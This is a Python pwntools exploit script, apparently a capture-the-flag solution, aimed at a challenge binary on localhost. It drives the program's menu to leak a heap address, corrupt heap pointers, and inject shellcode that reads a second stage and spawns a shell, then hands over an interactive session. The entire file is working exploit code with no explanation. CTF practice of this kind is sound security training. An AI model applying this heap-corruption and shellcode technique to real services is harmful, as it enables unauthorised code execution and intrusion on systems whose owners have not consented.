81 lines
1.6 KiB
Python
81 lines
1.6 KiB
Python
from pwn import *
|
|
context.terminal = "tmux splitw -h".split()
|
|
context.binary = elf = ELF('chall/mybini')
|
|
|
|
#p = gdb.debug(elf.path, '''
|
|
#set max-visualize-chunk-size 0x500
|
|
#b * _ZN7MyKisah3addEPc+110
|
|
#c
|
|
#''')
|
|
#p = elf.process()
|
|
#gdb.attach(p)
|
|
p = remote('localhost', 14000)
|
|
|
|
def register(name, level):
|
|
p.sendlineafter(b'> ', b'1')
|
|
p.sendlineafter(b': ', name)
|
|
p.sendlineafter(b': ', str(level).encode())
|
|
|
|
def login(name):
|
|
p.sendlineafter(b'> ', b'2')
|
|
p.sendlineafter(b': ', name)
|
|
|
|
def logout():
|
|
p.sendlineafter(b'> ', b'4')
|
|
|
|
def add(data):
|
|
p.sendlineafter(b'> ', b'1')
|
|
p.sendlineafter(b': ', data)
|
|
|
|
def edit(name):
|
|
p.sendlineafter(b'> ', b'0')
|
|
p.sendlineafter(b': ', name)
|
|
|
|
def delete(idx):
|
|
p.sendlineafter(b'> ', b'3')
|
|
p.sendlineafter(b': ', str(idx).encode())
|
|
|
|
register(b'user0', 0xdeadbeef)
|
|
register(b'user1', 0xdeadbeef)
|
|
register(b'user2', 0xdeadbeef)
|
|
|
|
login(b'user2')
|
|
for i in range(8): add(b'a')
|
|
|
|
read = shellcraft.read(0, 'rdx', 0x100)
|
|
add(asm(read))
|
|
logout()
|
|
|
|
register(b'user3', 0xdeadbeef)
|
|
register(b'user4', 0xdeadbeef)
|
|
register(b'user5', 0xdeadbeef)
|
|
register(b'x' * 0x10, 0xdeadbeef)
|
|
register(b'user7', 0xdeadbeef)
|
|
|
|
login(b'user5')
|
|
for i in range(4): add(b'a')
|
|
|
|
edit(b'z' * 0x18)
|
|
add(b'\0')
|
|
logout()
|
|
|
|
p.sendlineafter(b'> ', b'3')
|
|
p.recvuntil(b'x' * 0x10)
|
|
|
|
heap = unpack(p.recvuntil(b' adalah', drop=True),'all')
|
|
log.info(f"{hex(heap) = }")
|
|
|
|
login(b'z'*0x18)
|
|
delete(0)
|
|
|
|
add(b'a' * 8 + p64(heap-0x130))
|
|
delete(0)
|
|
|
|
logout()
|
|
login(b'x'*0x10)
|
|
|
|
add(p64(heap-0x1f8))
|
|
sleep(1)
|
|
p.send(b'a' * 0xd + asm(shellcraft.sh()))
|
|
|
|
p.interactive() |